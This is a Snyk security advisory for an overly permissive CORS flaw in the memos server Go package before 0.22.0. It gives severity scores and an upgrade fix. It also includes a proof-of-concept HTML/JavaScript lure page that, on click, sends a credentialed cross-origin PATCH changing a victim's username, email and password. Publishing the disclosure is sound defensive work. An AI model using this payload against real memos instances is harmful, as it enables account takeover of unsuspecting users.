Overly Permissive CORS Affecting github.com/usememos/memos/server package, versions <0.22.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMUSEMEMOSMEMOSSERVER-7723931
  • published 21 Aug 2024
  • disclosed 20 Aug 2024
  • credit Kevin Stubbings

How to fix?

Upgrade github.com/usememos/memos/server to version 0.22.0 or higher.

Overview

Affected versions of this package are vulnerable to Overly Permissive CORS via the server.go configuration. An attacker can read private information or make privileged changes to the system as the vulnerable user account by making a cross-origin request with improper CORS settings.

PoC

This proof of concept works exclusively with Firefox due to changes in third party cookies policies in all recent browsers.

<body>
    <p>Click here to login.</p>
    <div id="response"></div>

&lt;script&gt;
    const url = &#39;https://demo.usememos.com/api/v1/user&#39;;
  document.addEventListener(&quot;DOMContentLoaded&quot;, () =&gt; {
    document.onclick = () =&gt; {
      open(url);

const requestBody = { rowStatus: "NORMAL", // Replace with the desired row status username: "test", // Replace with the desired username email: "test@gmail.com", // Replace with the desired email nickname: "", // Replace with the desired nickname password: "password", // Replace with the desired password avatarUrl: "" // Replace with the desired avatar URL };

// Sending the request let userID = 101; fetch(https://demo.usememos.com/api/v1/user/{userID}, { method: 'PATCH', headers: { 'Content-Type': 'application/json' }, credentials: "include", body: JSON.stringify(requestBody) }) .then(response => { if (!response.ok) { throw new Error(HTTP error! Status: ${response.status}); } return response.json(); }) .then(data => { console.log('Updated user:', data); }) .catch(error => { console.error('Error updating user:', error); }); } }); </script> </body>

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Passive
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None